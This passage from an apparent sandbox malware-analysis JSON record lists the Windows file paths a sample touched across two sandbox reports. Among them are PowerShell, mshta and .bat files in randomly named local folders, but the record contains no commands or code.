d82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"C:\\ProgramData","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\SysWOW64\\shdocvw.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\SysWOW64\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\SysWOW64","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell_ise.exe","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\hh.exe","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\DX3EG52555ZNPTC50U6E.temp","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe.config","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index256.dat","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\assembly\\pubpol107.dat","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\Microsoft.WSMan.Runtime\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Runtime.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\getevent.types.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\Help.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\System.Data\\2.0.0.0__b77a5c561934e089\\System.Data.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\mshta.exe","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\00c4f","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\00c4f\\58463.c08962","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\00c4f\\feef8.bat","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\AppPatch\\AcGenral.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"},{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\winhttp.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\57C8EDB95DF3F0AD4EE2DC2B8CFD4157","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\23B523C9E7746F715D33C6527C18EB9D","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_83B81F152A53AA21AE01E022AED042AB","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_50ED3DBAA664558DA8C84F3FC86E08C0","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\8A574ED5927B3CEC9626151D220C7448","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\8A574ED5927B3CEC9626151D220C7448","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\D7B4E43171BB9E412497B0377F4343E7","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_7949AB1D830C9EC8D2D6C5C97769C147","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\D7B4E43171BB9E412497B0377F4343E7","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_7949AB1D830C9EC8D2D6C5C97769C147","sources":[{"report_type":"sandbox","report_id":"5ab389427ca3e170c7137b48"}]},{"path":"%WINDIR%\\System32\\mshta.exe","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\mshta.exe.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\USER32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\OLEACCRC.DLL","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\PROPSYS.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%PUBLIC%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%PUBLIC%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"C:\\Users\\Sa9fDhU","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\machine.config","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"C:\\BVTBin\\Tests\\installpackage\\csilogfile.log","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index23b.dat","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\mshta.exe","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\fe3a2\\14384.84af6c","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\fe3a2\\1d303.bat","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\index.dat","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\index.dat","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\SETUPAPI.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"%WINDIR%\\system32\\en-US\\CRYPT32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59534ad77ca3e14ee302cd82"}]},{"path":"